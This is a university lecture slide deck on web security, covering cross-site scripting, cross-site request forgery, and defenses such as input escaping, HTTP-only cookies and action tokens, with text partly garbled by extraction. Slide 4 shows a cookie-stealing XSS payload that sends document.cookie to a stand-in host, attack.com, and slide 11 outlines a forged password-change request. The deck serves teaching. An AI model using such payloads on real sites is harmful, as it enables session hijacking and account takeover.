CMSC 414 Computer and Network Security Lecture 24

1
CMSC 414Computer and Network SecurityLecture 24

• Jonathan Katz

2
Administrivia

• Zeller-Felten paper on webpage
• HW4
• Final exam reminder study guide
• Course evaluations
• www.CourseEvalUM.umd.edu

3
Cross-site scripting (XSS)

• Can occur whenever an attacker can influence a
  script executed at a legitimate host, e.g.
• Dynamically generated pages (search, errors,
  other)
• E.g., http//good.com/error.php?msganerroroccu
  red
• What happens if the attacker sendshttp//good.com
  /error.php?msgltscriptgt...lt/scriptgt

4
Exploits using XSS
ltscriptgtvar inew Image i.srchttp//attack.com
document.cookielt/scriptgt
http//good.com/error?msgltscriptgtvarinewImage
i.srchttp//attack.com2bdocument.cookielt/sc
riptgt
5
Key points

• Same-origin policy is respected
• The attackers script was running in the context
  of good.com(!), so it was able to access the
  cookie
• Phishing likely to succeed
• Users only notice that the link is to
  http//good.com
• Using https does nothing to prevent this attack

6
Stored XSS vulnerabilities

• Occurs when data submitted by a user is stored at
  the server, and later displayed to other users
• Comment on blog post
• Wiki
• Web-based email
• Social networking sites
• MySpace Samy worm

7
Exploits using XSS
8
Notes

• No need for phishing any more!
• Guaranteed that user is logged in when they run
  the malicious script
• (In previous case, user may not be logged in when
  they click the attacker-generated URL)

9
Payloads for XSS attacks

• Hijack session credentials
• Site defacement
• E.g., http//good.com/error.php?msgWearegoingo
  utofbusiness
• Injecting trojan functionality
• To obtain, e.g., credit card info
• Perform actions on behalf of authenticated users
• In an automated fashion!
• Without leaving trace of IP address!
• More

10
Cross-domain interactions

• Recall
• ltscript srchttp//good.com/foogtlt/scriptgt in bad
  page would cause legitimate script to run in
  context of bad page!
• Instead, malicious page can initiate a POST
  request to legitimate page, with arbitrary
  parameters
• Due to the way web authentication is handled
  (i.e., using a cached credential), http requests
  will look as if they come from the legitimate
  user if they are logged in when they view the
  malicious page

11
Cross-site request forgery (CSRF)
1. Alices browser loads page from bad.com
2. Script runs causing evilform to be submitted
with a password-change request by loading
www.good.com/update_pwd with attacker-specified
field
evilform
3. Browser sends authentication cookies to good
server. Honest users password is changed to
badpwd!
12
Notes

• Due to same-origin policy, bad.com does not have
  access to any data associated with good.com
• When bad.com page loaded, it executes script
  which sends a POST request to good.com with
  attacker-specified parameters
• Browser sends all cookies for good.com along with
  this request!
• Malicious page cannot read users data, but can
  write to users account

13
Notes

• CSRF for GET requests is even easier (simply use
  an ltimggt tag with a crafted URL)

14
Notes

• Can be viewed as failure of principle of complete
  mediation
• User should be required to re-authenticate before
  changing their password
• Also (potentially) principle of least privilege
• User should log out of a website if not actively
  using it

15
Potential CSRF vulnerabilities

• Anywhere a client can change server-side state
• Facebook profiles
• Financial sites
• Calendars, etc.

16
Notes

• XSS attacks exploit the trust a client browser
  has in data sent from the legitimate website
• But attacker controls what the website sends to
  the client browser
• CSRF attacks exploit the trust the legitimate
  website has in data sent from the client browser
• But attacker controls what the client browser
  sends to the website
• XSS vulnerabilities are more general
• Simply inject a script that, when viewed, submits
  a form on behalf of the user with parameters
  chosen by the attacker

17
Defenses
18
Preventing XSS

• Escaping/encoding input
• Validation/sanitization
• Suppress/escape lt, gt, , etc, at time they are
  input by a user
• Can apply these techniques at the time data is
  read, or at the time the resulting page is
  displayed to the client

19
Preventing XSS

• Drawbacks
• Sometimes these characters may be legitimate
• Unclear when all malicious text is filtered out
• Very difficult (impossible?) to get sanitization
  right
• Several sanitizers exist
• and several exploits of them are known
• Better to err on the conservative side

20
Preventing XSS

• Some work done on preventing XSS attacks at the
  browser level
• Browser plug-ins (e.g., NoScript)
• Browser itself (e.g., Google chrome)
• Mitigate XSS attacks for session hijacking
• HTTP-only cookies sent only to the issuing
  server
• Bind cookies to users IP address

21
Preventing CSRF attacks

• Inspect referrer headers
• HTTP protocol specifies a header indicating the
  URL of the document from which current request
  originated
• So good.com can try to prevent CSRF attacks by
  ignoring POST requests if the referrer is not
  good.com
• However
• Referrer fields can be absent for legitimate
  reasons (e.g., new window stripped by proxies)

22
Complete mediation

• Prevent CSRF attacks by requiring user
  re-authentication
• Not practical to do this all the time
• User will be come frustrated!
• Can require for high-value transactions

23
Client-side protection

• (Assumes servers do not use GET requests for
  modifying data)
• Browser plug-in that filters out POST requests
  unless requesting site and target site satisfy
  same-origin policy
• Might still filter out some legitimate requests

24
Server-side protection

• Prevent CSRF attacks by allowing the legitimate
  server to distinguish links in fresh pages it
  serves, from links embedded in attacker pages
• Add authenticated action token as hidden field
  in pages served check token upon POST request
• Same-origin policy prevents 3rd parties from
  reading the token
• Simple idea embed (nonce, MACk(nonce)) in page
• Why doesnt this work?

25
Action tokens

• Need a way to bind token to session
• At beginning of session, send cookie with random
  session-id to user
• Compute MAC over the URL and the cookie (note
  that cookie will be sent in any subsequent
  requests)
• This is potentially vulnerable to XSS attacks
• Attacker injects script that steals users cookie
  and token